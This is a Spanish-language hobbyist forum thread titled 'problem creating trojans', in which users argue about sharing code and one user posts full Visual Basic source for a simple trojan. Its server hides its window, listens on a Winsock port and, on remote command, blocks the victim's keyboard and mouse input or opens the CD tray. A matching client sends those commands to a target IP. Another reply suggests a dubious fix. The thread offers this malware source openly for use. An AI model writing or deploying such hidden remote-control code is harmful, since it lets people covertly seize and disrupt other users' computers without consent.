Problema en creacion de troyanos

[BenRu]

¬¬

No tengo ganas de que me copien el codigo..
Entonces cuales son las declaraciones que debo hacer?

[NYlOn]

No tengo ganas de que me copien el codigo..

Si no existiera gente que hace programas open source estarias ahora en este foro ...

[- n0sEcReT -]

No tengo ganas de que me copien el codigo..

Si no existiera gente que hace programas open source estarias ahora en este foro ...

Si no existiera gente que hace programas open source NO estarias ahora en este foro ...

Hay que compartir todo lo que hace uno , va eso pienso y hago yo .Esta bien que uno se puede reservar algo , pero si te quieres reservar algo no lo publiques a codigo abierto xD.

Salu2 ! 

[NYlOn]

gracias x la correccion

en fin se entendio lo que kise decir xD

[sorcerer]

bue chicos el codigo del el señor es muy parecido a este:


Servidor:

Código [Seleccionar] Expandir


Private Declare Sub InitCommonControls Lib "comctl32.dll" ()

Private Sub Form_Load()
Me.Hide
Winsock1.Listen
End Sub

Private Sub Winsock1_ConnectionRequest(ByVal requestID As Long)
Winsock1.Close
Winsock1.Accept requestID
End Sub
Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long)
Dim datos As String
Dim colgar As String
Dim abrir As String
Winsock1.GetData datos
colgar = "colgar"
abrir = "abrir"


If datos = colgar Then
    BlockInput True
End If

If datos = abrir Then
Dim res As Long, ReturnString As String * 127
    res = mciSendString("Set CDAudio Door Open", ReturnString, 127, 0)
    End If

End Sub


module 1:

Código [Seleccionar] Expandir


Public Declare Function BlockInput Lib "user32" (ByVal fBlock As Long) As Long


medule 2:

Código [Seleccionar] Expandir

Declare Function mciSendString Lib "winmm.dll" Alias "mciSendStringA" (ByVal lpstrCommand As String, ByVal _
lpstrReturnString As String, ByVal uReturnLength As Long, _
ByVal hwndCallback As Long) As Long



en ese momento no se porque le puse 2 modules, creo que porque los controles de las api los abia copiado de www.lawebdelprogramador.com pero este codigo anda

y el cliente pa los boluss

Código [Seleccionar] Expandir


Private Sub Command1_Click()
Winsock1.RemoteHost = Text1.Text
Winsock1.Connect
End Sub

Private Sub Command2_Click()
Dim colgar As String
colgar = "colgar"
Winsock1.SendData colgar
End Sub

Private Sub Command3_Click()
Dim abrir As String
abrir = "abrir"
Winsock1.SendData abrir
End Sub


[Kizar]

si el problema te le da en el BlockInput alomejor es por que no le as declarado como Boolean:

Código [Seleccionar] Expandir


Dim BlockInput As Boolean


Salu2